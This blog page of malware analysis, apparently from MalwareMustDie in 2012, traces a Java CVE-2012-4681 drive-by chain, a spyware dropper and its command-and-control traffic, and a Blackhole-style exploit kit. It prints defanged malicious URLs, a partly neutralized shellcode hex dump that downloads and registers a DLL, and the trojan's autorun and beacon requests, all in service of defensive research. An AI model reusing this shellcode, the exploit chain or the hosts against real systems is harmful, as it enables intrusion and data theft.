RSS Feed
Twitter
One day I when tracing the php injected infector code I bumped to a web site below:
With the following URL:h00p://62.152.104.149/public/meeting/
It looks like a strange meeting download set files since jar java set looks so
"attractive", like as they're yelling to me "click me... click me!" :-)
So I decided to investigate further about this site, starting w/this page.
The HTTP communications :
As per pic above it's suppose to be :Apache/2.2.17 (Fedora) Server at 62.152.104.149 Port 80
Let's see whether it really is the Apache side original index..GET /public/meeting/ HTTP/1.1
User-Agent: MalwareMustDieBuilt libcurl/7.21.4 zlib/1.2.5
Host: 62.152.104.149
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 12 Sep 2012 11:46:06 GMT
Server: Apache/2.2.17 (Fedora)
Content-Length: 1726
Connection: close
Content-Type: text/html;charset=ISO-8859-1
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
＜html>
＜head>
＜title>Index of /public/meeting＜/title>
＜/head>
＜body>
＜h1>Index of /public/meeting＜/h1>
:(blah blah)
It is real, so in directory of /public/meeting/ the claimed files looks exists..
I am not trusting any infection related service that easy.. is a habit..
Just fetch as much files as I can & found the /public/meeting/ has no further files
except what I already got.
Also found this web server contains some base security setting flaws which
I am not going to expose it here, I assume those were the reason the malicious
files were uploaded. Script kiddies..
BTW, for the server admin, the uploaded date was Aug 30th,
please check your log around that time, some SQLi will cause some error_log in Apache
(based on my experience)
What malicious scheme is it?
If we go back to the directory contents people are tend to click the known
html file, in out example is notice.html
Let's grab it:--20:24:12-- h00p://62.152.104.149/public/meeting/notice.html
=> `notice.html'
Connecting to 62.152.104.149:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,222 (1.2K) [text/html]
100%[====================================>] 1,222 --.--K/s
20:24:13 (23.18 MB/s) - `notice.html' saved [1222/1222]
It contains the code like this -->>[CLICK]
(PS: I neutralized some characters so the text code will not infected you)
This code is having 3 major steps:1. To execute Javascript file "deployJava.js" to deploy JRE v1.7 in your PC
(if you are detected using IE & in case you don't have one)
Below is the snipcode:
2. Executing malicious applet "applet.jar" by passing the initial parameter via
this browser as per coded below:
3. As per ↑pic above, using IFRAME to execute the download of "feq.html" file,
which feq.html will be explained below eventually.
*) those files "deployJava.js", "feq.html" and "applet.jar" are in same dir.
What is inside of the applet.jar?
It contains the code like this:---->>[CLICK]
(PS: I neutralized some characters so the text code will not infected you)
applet.jar is containing ex-ZeroDay CVE-2012-4681 flaw, easiest way to recognize it
by grep'ing the below strings in code:java.security.ProtectionDomain
java.security.Permissions
java.security/cert.Certificate
setSecurityManager
file:///
sun.awt.SunToolkit
getField
Exploit Code Grepped Result Pic:
↑Accordingly we know the infector url scheme goes like these below steps:1. Attempting user to click the notice.html
2. Making sure the browser is IE & then
3. Installing the zeroday flaw version of java in user's PC
4. Executing the applet.jar to exploit JRE to exec batch file to -
download feq.html to PC w/name SVCHOST.EXE and execute it.
The payload is "feq.html", a binary file camouflaged as HTML one.
The file itself looks like this SVCHOST.EXE after being dropped to your PC:
Let's analyze this binary a bit:Plain PE Binary:
0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 D8 00 00 00 ................
0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th
0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
0080 A5 0E 26 78 E1 6F 48 2B E1 6F 48 2B E1 6F 48 2B ..&x.oH+.oH+.oH+
PE Sections:
.text 0x1000 0x440a 20480
.rdata 0x6000 0xc4a 4096
.data 0x7000 0x317c 12288
.rsrc 0xb000 0x18418 102400
Build Trace Result:
Packed by: Armadillo v1.71Armadillo v1.71 - additional
Compiled by: Microsoft Visual C++ v6.0/5.0
Setup Made by: Installer VISE CustomInstaller VISE Custom
Some Details:
Entry Point: 0x16fe
Compile time: 0x503B61D5 [Mon Aug 27 12:02:29 2012 UTC]
Fake Attribs:
LangID: 040904b0
LegalCopyright: Copyright (C) Nesoft Corp.
InternalName:
FileVersion: 5, 1, 2600, 2181
CompanyName: Copyright (C) Nesoft Corp.
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 5, 1, 2600, 2181
FileDescription: Internet Extensions for Win32
//Some malicious calls detected in reversing..
0x406018 KERNEL32.dll.CreateFileA //Malicious
0x4060ac KERNEL32.dll.WriteFile //Malicious
0x406027 KERNEL32.dll.CreateThread //Malicious
0x40604d KERNEL32.dll.WinExec //Malicious
0x406022 KERNEL32.dll.GetCommandLineA //Malicious
0x4060bc HeapCreate //DEP Violation
0x4060c8 VirtualAlloc //DEP Violation
0x40609c TlsSetValue //TLS aware calls
0x4060a0 TlsAlloc //TLS aware calls
0x4060a8 TlsGetValue //TLS aware calls
//+Registry op's:
ADVAPI32.dll.RegCreateKeyA Hint[350]
ADVAPI32.dll.RegSetValueExA Hint[390]
ADVAPI32.dll.RegCloseKey Hint[347]
ADVAPI32.dll.RegOpenKeyExA Hint[370]
//PS: List of complete call
--->>[CLICK HERE]
Up to this point of view I can see a pattern of trojan dropper,
the packed area shows some list of names suggesting urls like:
"hec. to " & "http://%s" so on, but some packed area confusing a bit need my full
reversing effort to crack it well..
According to the complete calls there are a lot of information -
achived by those calls there which showing a possibility of spyware.
There must be internet traffic made since the TLS and socket operations
are detected.
Since I was not in the mood to reverse this mess further -
considering the date of this payload is already a 12days old,
so I know that someone must have been analyzed this well,
then let's no need to waste our time further & make it faster, so just
run it & check the forensics result of it ...and got these details:Dropped:
FileName: mdm.exe
C:\Documents and Settings\Administrator\Application Data\Microsoft\mdm.exe
MD5: 199c1c10088820aff239321bf5f6c87c
Size: 98304 Bytes
Pic:
Hex Snip:
0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ................
0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th
0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
0080 CC D5 3F 6A 88 B4 51 39 88 B4 51 39 88 B4 51 39 ..?j..Q9..Q9..Q9
Executed API:
Shell=C:\Documents and Settings\Administrator\Application Data\Microsoft\mdm.exe
AutoRun in Registry:
HKU\S-1-5-21-842925246-1425521274-308236825-500\Software\Microsoft\
Windows\CurrentVersion\Run
wim = C:\Documents and Settings\Administrator\Application Data\Microsoft\mdm.exe
Malicious Process (daemonized)
PID/ProcessName: 3844 mdm
Base: C:\Documents and Settings\Administrator\Application Data\Microsoft\mdm.exe
Very good, we know exactly what mess that we're dealing with now,
it is a trojan malware for sure. let's see the network traffic made by it
(I am a huge fan of tcpdump!).
While running the dropped sample we got the DNS Request of ipad.hec.to host:Req:
00000000 9a 5c 01 00 00 01 00 00 00 00 00 00 04 69 70 61 .\...... .....ipa
00000010 64 03 68 65 63 02 74 6f 00 00 01 00 01 d.hec.to .....
Ans:
00000000 9a 5c 81 80 00 01 00 01 00 04 00 05 04 69 70 61 .\...... .....ipa
00000010 64 03 68 65 63 02 74 6f 00 00 01 00 01 c0 0c 00 d.hec.to ........
00000020 01 00 01 00 00 0e 10 00 04 0c a3 20 0f c0 11 00 ........ ... ....
00000030 02 00 01 00 00 0e 10 00 10 03 6e 73 34 06 61 66 ........ ..ns4.af
00000040 72 61 69 64 03 6f 72 67 00 c0 11 00 02 00 01 00 raid.org ........
00000050 00 0e 10 00 06 03 6e 73 31 c0 3d c0 11 00 02 00 ......ns 1.=.....
00000060 01 00 00 0e 10 00 06 03 6e 73 33 c0 3d c0 11 00 ........ ns3.=...
00000070 02 00 01 00 00 0e 10 00 06 03 6e 73 32 c0 3d c0 ........ ..ns2.=.
00000080 55 00 01 00 01 00 00 01 2c 00 04 32 17 c5 5f c0 U....... ,..2.._.
00000090 55 00 1c 00 01 00 00 01 2c 00 10 26 07 f0 d0 11 U....... ,..&....
000000A0 02 00 d5 00 00 00 00 00 00 00 02 c0 79 00 01 00 ........ ....y...
000000B0 01 00 00 01 2c 00 04 ae 25 c4 37 c0 67 00 01 00 ....,... %.7.g...
000000C0 01 00 00 01 2c 00 04 48 14 0f 3e c0 39 00 01 00 ....,..H ..>.9...
000000D0 01 00 00 01 2c 00 04 ae 80 f6 66 ....,... ..f
Then we saw the HTTP/POST packet sent from our malware:In Hex:
00000000 50 4f 53 54 20 2f 34 33 30 38 32 38 2e 61 73 70 POST /43 0828.asp
00000010 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a HTTP/1. 1..Host:
00000020 20 69 70 61 64 2e 68 65 63 2e 74 6f 0d 0a 43 6f ipad.he c.to..Co
00000030 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 0d ntent-Le ngth: 1.
00000040 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 43 6f .Accept: */*..Co
00000050 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Ty pe: appl
00000060 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 ication/ octet-st
00000070 72 65 61 6d 0d 0a 55 73 65 72 2d 41 67 65 6e 74 ream..Us er-Agent
00000080 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozill a/4.0 (c
00000090 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatibl e; MSIE
000000A0 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 6.0; Win dows NT
000000B0 35 2e 31 29 0d 0a 0d 0a 5.1)....
:(HOST) (IP)
Plain Text:
POST /430828.asp HTTP/1.1
Host: ipad.hec.to
Content-Length: 1
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
There goes your Browser/Hostname/IP information...
(since my RAT still down & I used my wife's PC to test :-P, can't show more..)
.. written in the packet sent via POST command to this mothership.
I am sure in there is a server is file "430828.asp" who's receiving our info.
Then a HTTP/GET command was sent:In Hex:
00000000 47 45 54 20 2f 34 33 32 30 31 35 6e 2e 74 78 74 GET /432 015n.txt
00000010 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a HTTP/1. 1..Host:
00000020 20 69 70 61 64 2e 68 65 63 2e 74 6f 0d 0a 43 6f ipad.he c.to..Co
00000030 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d ntent-Le ngth: 0.
00000040 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 43 6f .Accept: */*..Co
00000050 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Ty pe: appl
00000060 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 ication/ octet-st
00000070 72 65 61 6d 0d 0a 55 73 65 72 2d 41 67 65 6e 74 ream..Us er-Agent
00000080 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozill a/4.0 (c
00000090 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatibl e; MSIE
000000A0 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 6.0; Win dows NT
000000B0 35 2e 31 29 0d 0a 0d 0a 5.1)....
Plain Text:
GET /432015n.txt HTTP/1.1
Host: ipad.hec.to
Content-Length: 0
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
To make things shorter (again) the pcap file saved will look like this in
Wireshark with the timeline sorted:
Let's "dig" a little bit further to the mothership network:Name: ipad.hec.to
Address: 12.163.32.15
NS: afraid.org (FreeDNS) NS1.AFRAID.ORG & NS2.AFRAID.ORG
Network and Routing via: AS7018 / ATT-INTERNET4 AT&T WorldNet Services
This is at least what I checked so far.
So let's compare our investigation result with Virus Total:
The svchost.exe:MD5: 265f46c572f4e5a3b17d39cb74f01e15
File size: 140.0 KB ( 143360 bytes )
File name: scvhost.exe
File type: Win32 EXE
Tags: peexe armadillo mz
Detection: 32 / 42
Analysis date: 2012-09-12 15:13:01 UTC ( 0 分 ago )
URL:------>>[CLICK]
Malware Name:
nProtect : Trojan-Spy/W32.Agent.143360.X
CAT-QuickHeal : TrojanDropper.Malf
McAfee : Generic Dropper.p
K7AntiVirus : Trojan
VirusBuster : Trojan.DR.Agent!VaQDwJLyD+E
F-Prot : W32/Dropper.gen8!Maximus
Symantec : Trojan.Gen
Norman : W32/Troj_Generic.DTHAK
ByteHero : Trojan.Malware.Obscu.Gen.006
TrendMicro-HouseCall : TROJ_GEN.R47CDHU
Avast : Win32:Spyware-gen [Spy]
Kaspersky : Trojan-Spy.Win32.Agent.cdvo
BitDefender : Gen:Trojan.Heur.iq0@InUaCZdi
Sophos : Sus/Behav-1018
Comodo : UnclassifiedMalware
F-Secure : Gen:Trojan.Heur.iq0@InUaCZdi
DrWeb : Trojan.DownLoader6.49798
VIPRE : Trojan.Win32.Generic!BT
AntiVir : TR/Dropper.Gen
TrendMicro : TROJ_GEN.R47CDHU
McAfee-GW-Edition : Generic Dropper.p
Emsisoft : Trojan-Dropper.Win32.Malf!IK
Jiangmin : Trojan/Agent.hfrc
Microsoft : TrojanDropper:Win32/Malf.gen
ViRobot : Trojan.Win32.A.Agent.143360.FP
GData : Gen:Trojan.Heur.iq0@InUaCZdi
Commtouch : W32/Dropper.gen8!Maximus
ESET-NOD32 : Win32/Spindest.B
VBA32 : SScope.Trojan.Vundo.2721
PCTools : Trojan.Gen
Ikarus : Trojan-Dropper.Win32.Malf
AVG : PSW.Agent.AXPJ.dropper
The mdm.exe:MD5: 199c1c10088820aff239321bf5f6c87c
File size: 96.0 KB ( 98304 bytes )
File name: mdm.exe
File type: Win32 EXE
Tags: peexe armadillo
Detection: 25 / 42
Analysis date: 2012-09-12 15:23:52 UTC ( 0 分 ago )
URL:-------->>[CLICK]
MalwareName:
CAT-QuickHeal : TrojanSpy.Agent.cdvo
McAfee : Generic PWS.o
K7AntiVirus : Spyware
F-Prot : W32/Heuristic-KPP!Eldorado
Symantec : Trojan.Gen
Norman : W32/Troj_Generic.DUHUU
ESET-NOD32 : Win32/Spindest.B
TrendMicro-HouseCall : TROJ_GEN.R11C9I2
Avast : Win32:Spyware-gen [Spy]
Kaspersky : Trojan-Spy.Win32.Agent.cdvo
BitDefender : Gen:Variant.Graftor.24477
Comodo : UnclassifiedMalware
F-Secure : Gen:Variant.Graftor.24477
DrWeb : Trojan.DownLoader6.49798
VIPRE : Trojan.Win32.Generic!BT
AntiVir : HEUR/Malware
TrendMicro : TROJ_GEN.R11C9I2
McAfee-GW-Edition : Generic PWS.o
Emsisoft : Win32.SuspectCrc!IK
Jiangmin : TrojanSpy.Agent.xpg
ViRobot : Trojan.Win32.A.Agent.98304.AAK
GData : Gen:Variant.Graftor.24477
PCTools : Trojan.Gen
Ikarus : Win32.SuspectCrc
AVG : PSW.Agent.AXPJ
The applet.jar:MD5: 93775017d90ee6c05a2a69bde6b194df
File size: 1.3 KB ( 1309 bytes )
File name: applet.jar
File type: JAR
Detection: 15 / 42
Analysis date: 2012-09-12 15:28:38 UTC ( 0 分 ago )
URL:-------->>[CLICK]
Malware Name:
F-Secure : Exploit:Java/CVE-2012-4681.D
DrWeb : Java.Downloader.688
Microsoft : Exploit:Java/CVE-2012-4681.FX
AntiVir : EXP/CVE-2012-4681
TrendMicro : JAVA_EXPL.SM4
ESET-NOD32 : Java/Exploit.CVE-2012-4681.Q
TrendMicro-HouseCall : TROJ_GEN.F47V0830
Avast : Java:CVE-2012-4681-G [Expl]
nProtect : Java.Exploit.CVE-2012-4681.D
GData : Java.Exploit.CVE-2012-4681.D
Kaspersky : HEUR:Exploit.Java.CVE-2012-4681.gen
BitDefender : Java.Exploit.CVE-2012-4681.D
Emsisoft : Java.Dong!IK
Ikarus : Java.Dong
Sophos : Exp/20124681-A
Well those malwares can be detected already, BUT!!!!
The main infector of this scheme, which is file "notice.html" is not and -
I don't think can be detected in the future either:MD5: 96084d59b5d5ec66a6de11a0502a6f0a
File size: 1.2 KB ( 1222 bytes )
File name: notice.html
File type: HTML
Detection ratio: 0 / 41 <====ZERO DETECTION!!
Analysis date: 2012-09-12 15:34:46 UTC ( 0 分 ago )
URL: ------>>[CLICK]
So the detection rates of this infection started from the infector is as below:notice.html -----> applet.jar ----> scvhost.exe ----> mdm.exe
(0/42) (15/42) (25/42) (35/42)
Let's summarize the moral of this story which are:1. See the dates of the sample findings I detected few hours today
who said that CVE-2012-4681 infector attack is over? The code is-
a bit improving the way I saw it.
2. Gentlemen, DO NOT leave your web server unset & unattained online.
You'll get these mess injected to it..
3. AntiVirus products is aiming mostly to payload malware than to its
infectors, since the base scanning (pattern macthing ) cannot detect
all possible scheme of infector files, w/o gaining False Positive.
It's time to think another vector of scanning these infector, smarter one!
And this is why I feel those malware retards are laughing at us now...
This is featured post 1 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.
This is featured post 2 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.
This is featured post 3 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.
Thứ Tư, 12 tháng 9, 2012
09:22
nam tóc xù
Thứ Bảy, 8 tháng 9, 2012
12:56
nam tóc xù
When you interested into a malicious link in the blacklisted url, phishing mail databases or malware domain list, if you try to connect to the reported infectious link and you get the zero byte result or 404 error result don't go away to next link so easy. Remember that we are dealing with the black side of internet so we cannot trust on anything replied by the assumed infected host.
And the worse part of it is... this malware is still undetectable!
Recent active exploit kits are implemented to many replies to block unwanted researchers or hunters access by using many tricks, old and new, like faking some 404 condition as HTTP replies or even sending you null byte, and so on.
Allow me to write one recent adventure in our #MalwareMustDie project to explain this theory further. Is a long story to write, so many details to cover so please bare with the boring parts, and if I miss (which I think I will..) some details please tell me in the comments and I will add those parts later. Here we go..
This adventure was started by my eyes bumped to the fake FedEx spam campaigns I received in new spam databases and I encountered malicious url in it.
Well, about this payload, by a mere reversing we can know that it uses some certification for crypting, drops files, gets the clipboard and terminal server setting information, and does some usual locking for files, and after consultation I am guessing this is a component of Zbot/trojan spyware...
Here goes the link:h00p://italsportsbets.net/w.php?f=a9129&e=2
Like usual drill I used to do, fetch with some ways to see what can we get:--00:23:19-- h00p://italsportsbets.net/w.php?f=a9129
=> `w.php@f=a9129'
Resolving italsportsbets.net... 95.211.186.213
Connecting to italsportsbets.net|95.211.186.213|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
GET /w.php?f=a9129 HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: italsportsbets.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 Sep 2012 13:22:23 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.15
The session looked good, also its replied packet too, except that I got
the null byte for download.00:23:20 (0.00 B/s) - `w.php@f=a9129' saved [0byte]
Well, I tried this via 4 networks I can reach with my shell & a tor
connectivity advised by a friend before I quite fetching it.
Judging by the HTTP replies (KeepAlive/ngnix/PHP5.3.15) I strongly believe
that the host is a blackhole. So I tried to confirm in further but found the
fire-walled router is standing between us:Host 95.211.186.213 appears to be up ... good.
Device type: general purpose|broadband router
Running: Linux 2.4.X|2.5.X|2.6.X, Belkin embedded
I'd better making sure the network situation before I went further by checking:
Routing graph related to the domain:
↑what we can learn here is :1. This malicious domain is using a famous free DNS service.
2. Served in the known suspicious network in ASN16265
The IP registrations:inetnum: 95.211.185.192 - 95.211.191.255
netname: LEASEWEB
descr: LeaseWeb
descr: P.O. Box 93054
descr: 1090BB AMSTERDAM
descr: Netherlands
descr: www.leaseweb.com
remarks: assignment LEASEWEB 20080723
remarks: Please send email to "abuse@leaseweb.com" fo
remarks: regarding portscans, DoS attacks and spam.
person: RIP Mean
address: P.O. Box 93054
address: 1090BB AMSTERDAM
address: Netherlands
phone: +31 20 3162880
fax-no: +31 20 3162890
I know it will show much but just in case the domain registration:Registration Service Provided By: Namecheap.com
Contact: support@namecheap.com
Visit: http://namecheap.com
WhoisGuard Protected ()
Fax:
11400 W. Olympic Blvd. Suite 200
Los Angeles, CA 90064
US
To make sure that I will not mis-hit my target I checked the recent infection
coming from the same IP, and found as per unique result below:2012-09-06 18:02:05 h00p://advancedhelper.net/main.php?page=81215e2d0a67a308
2012-09-06 10:02:02 h00p://pervonah.pl/main.php?page=1e427621b77b1649
2012-09-05 22:03:41 h00p://pharmstandart.ws/main.php?page=01912c9346bc5b70
2012-09-05 22:03:41 h00p://pharmstandart.tw/main.php?page=b0aceda74cb0fb6b
2012-09-05 22:03:41 h00p://pharmstandart.tw/main.php?page=01912c9346bc5b70
2012-09-05 22:02:32 h00p://pharmstandart.org/main.php?page=fe76bcff8c8ccba0
2012-09-05 22:03:40 h00p://pharmstandart.co/main.php?page=01912c9346bc5b70
So the latest parameter reported was "main.php?page=81215e2d0a67a308" with the
different domain name, let's try to put this parameter in the previous domain
investogated, and let's see what will come up:--00:30:57--
h00p://italsportsbets.net/main.php?page=81215e2d0a67a308
=> `main.php@page=81215e2d0a67a308'
Resolving italsportsbets.net... 95.211.186.213
Connecting to italsportsbets.net|95.211.186.213|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
GET /main.php?page=81215e2d0a67a308 HTTP/1.0
User-Agent: Wget/1.10.1
Accept: */*
Host: italsportsbets.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 Sep 2012 13:27:51 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.15
I got the good response by same blackhole characteristic, and I got
the text/html file saved in my dumps :-)[ <======================> ] 68,996 82.14K/s
00:30:59 (81.87 KB/s) - `main.php@page=81215e2d0a67a308' saved [68996]
The downloaded file itself is an HTML file with the malicious obfuscated code
like this:
You can view the neutralized code in pastebin here-->>[CLICK]
I checked it in Virus Total & found this HTML is still undetected with the below details:MD5: f64e2f18d3c3baa7c848ca8d50058640
File size: 67.4 KB ( 68996 bytes )
File name: main.php@page=81215e2d0a67a308
File type: HTML
Tags: html
Detection: 0 / 42
Analysis date: 2012-09-08 20:24:53 UTC ( 7 分 ago )
URL: ------>>>[CLICK]
The JavaScript part of HTML above contains the malicious code, which if you deobfs it
correctly you'll get this value-->>[CLICK].
After I see this malicious code deeper. I found it has at least 6(six) exploits
in there with the purpose to exploit your PC with the malicious shellcode.
Those exploits is varied depends on your OS, and browser's type,
with detecting whether you have flash plugin, Adobe, IE & firefox beforehand.
In this time I tried to classified the exploit used, which are:1. CVE-2010-1423 Java Object CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA
2. CVE-2008-2992 PDF File AcroPDF.PDF
3. CVE-2010-2561 MS XML DOMDocument Msxml2.XMLHTTP
4. CVE-2012-xxxx Java Plugin javaplugin.191_40 (JAR)
5. CVE-2012-0507 Java WebStart JavaWebStart.isInstalled
6. CVE-2012-0779 SWF File/Object ShockwaveFlash.ShockwaveFlash
(Name=GetVariable , Arg()=$version)
(I am still truggling to test the #4 now to find the correct CVE.. )
The evil JS code used to perform this malicious act was the Plugin Detection used-
by the blackhole and other exploit kits to perform multi-platform infection -
which I wrote it before on-->>[THIS] and-->>[THIS]..
So what shellcode used this time?
The executed shellcode was started from line 1768 at the deobfuscated code.
I think the infector tools in the exploit kit don't spend much effort to hide
this shellcode well, since it was executed as per code.
For the research purpose I pasted the neutralized shellcode used:41 41 41 41 66 83 e4 fc fc eb 1O 58 31 c9 66 81
e9 52 fe 8O 3O 28 4O e2 fa eb O5 e8 eb ff ff ff
ad cc 5d 1c c1 77 1b e8 4c a3 68 18 a3 68 24 a3
58 34 7e a3 5e 2O 1b f3 4e a3 76 14 2b 5c 1ｂO4
a9 c6 3d 38 d7 d7 9O a3 68 18 eb 6e 11 2e 5d d3
af 1c Oc ad cc 5d 79 c1 c3 64 79 7e a3 5d 14 a3
5c 1d 5O 2b dd 7e a3 5e O8 2b dd 1b e1 61 69 d4
85 2b ed 1b f3 27 96 38 1O da 5c 2O e9 e3 25 2b
f2 68 c3 d9 13 37 5d ce 76 a3 76 Oc 2b f5 4e a3
24 63 a5 6e c4 d7 7c Oc 24 a3 fO 2b f5 a3 2c a3
2b ed 83 76 71 eb c3 7b 85 a3 4O O8 a8 55 24 1b
5c 2b be c3 db a3 4O 2O a3 df 42 2d 71 cO bO d7
d7 d7 ca d1 cO 28 28 28 28 7O 78 42 68 4O d7 28
28 28 78 ab e8 31 78 7d a3 c4 a3 76 38 ab eb 2d
d7 cb 4O 47 46 28 28 4O 5d 5a 44 45 7c d7 3e ab
ec 2O a3 cO cO 49 d7 d7 d7 c3 2a c3 5a a9 c4 2c
29 28 28 a5 74 Oc 24 ef 2c Oc 5a 4d 4f 5b ef 6c
Oc 2c 5e 5a 1b 1a ef 6c Oc 2O O8 O5 5b O8 7b 4O
dO 28 28 28 d7 7e 24 a3 cO 1b e1 79 ef 6c 35 28
5f 58 4a 5c ef 6c 35 2d O6 4c 44 44 ee 6c 35 21
28 71 a2 e9 2c 18 aO 6c 35 2c 69 79 42 28 42 28
7b 7f 42 28 d7 7e 3c ad e8 5d 3e 42 28 7b d7 7e
2c 42 28 ab c3 24 7b d7 7e 2c ab eb 24 c3 2a c3
3b 6f a8 17 28 5d d2 6f a8 17 28 5d ec 42 28 42
d6 d7 7e 2O cO b4 d6 d7 d7 a6 66 26 c4 bO d6 a2
26 a1 47 29 95 1b e2 a2 73 33 ee 6e 51 1e 32 O7
58 4O 5c 5c 58 12 O7 O7 41 5c 49 44 5b 58 47 5a
5c 5b 4a 4d 5c 5b O6 46 4d 5c O7 5f O6 58 4O 58
17 4e 15 4a 4a 1b 4d 18 Oe 4d 15 19 28 28
The above code can be decoded by many tools nowadays. In my way
I saved it as binary to analyze it further, and found the
usual result of the kernel32.dll loading urlmon.dll to download
malicious file from "h00p://italsportsbets.net/w.php?f=bb3e0&e=1"
save as %Temp%wpbt0.dll, execute, register it with "regsvr32 -s"
command in your PC.
So I downloaded this file and see what we can get:--00:59:13-- h00p://italsportsbets.net/w.php?f=bb3e0&e=1
=> `w.php@f=bb3e0&e=1'
Resolving italsportsbets.net... 95.211.186.213
Connecting to italsportsbets.net|95.211.186.213|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 315,392 (308K) [application/x-msdownload]
100%[====================================>] 315,392 95.29K/s ETA 00:00
00:59:16 (95.11 KB/s) - `w.php@f=bb3e0&e=1' saved [315392/315392]
GET /w.php?f=bb3e0&e=1 HTTP/1.0
User-Agent: Wget/1.10.1
Accept: */*
Host: italsportsbets.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 Sep 2012 13:56:06 GMT
Content-Type: application/x-msdownload
Connection: keep-alive
X-Powered-By: PHP/5.3.15
Pragma: public
Expires: Sat, 08 Sep 2012 13:56:06 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="contacts.exe"
Content-Transfer-Encoding: binary
Content-Length: 315392
MZ......................@.........
..................................
....!..L.!This program cannot be r
un in DOS mode.(SNIPPED)
Bingo!
What is this file? It looks like below:
My quick analysis of this binary w/ a bit reversing shows:type PE/EXEC (Executable file)
os windows
arch i386
bits 32
PE Sections:
.text 0x1000 0x114d8 73728
.rdata 0x13000 0x16c6c 94208
.data 0x2a000 0x2f308 143360
CRC Fail: Claimed: 0 Actual: 352263
Compile Time: 0x504661CA
[Tue Sep 04 20:17:14 2012 UTC]
Entry Point: 0x5ac6
Packer: Armadillo v2.xx (CopyMem II)
Compiler: Microsoft Visual C++ 7.0
Note:
Have a bit problem during the quick reversing this file since Input
data linked with the debug information, so I used Microsoft
PDB List from server to see the opcodes..
Some revresing findings :
Locking files:
0x405FBB __mtinitlocks
0x4060x4 __mtdeletelocks
0x406059 __unlock
0x40606E __lockerr_exit
0x406086 __mtinitlocknum
0x406126 __lock
0x40621A __lock_file
0x406249 __lock_file2
0x40626C __unlock_file
0x40629B __unlock_file2
0x4079E2 __lockexit
0x4079EB __unlockexit
0x408AA9 __lock_fhandle
The certification operations:
CRYPT32.dll.CertGetCertificateChain Hint[64]
CRYPT32.dll.CertVerifyCertificateChainPolicy Hint[107]
CRYPT32.dll.CertCreateCertificateContext Hint[25]
CRYPT32.dll.CryptDecodeObject Hint[124]
CRYPT32.dll.CertFreeCertificateContext Hint[60]
CRYPT32.dll.CertFindCertificateInStore Hint[50]
CRYPT32.dll.CertAddEncodedCertificateToStore Hint[8]
CRYPT32.dll.CertDeleteCertificateFromStore Hint[30]
CRYPT32.dll.CertEnumCertificatesInStore Hint[41]
CRYPT32.dll.CryptEncodeObject Hint[128]
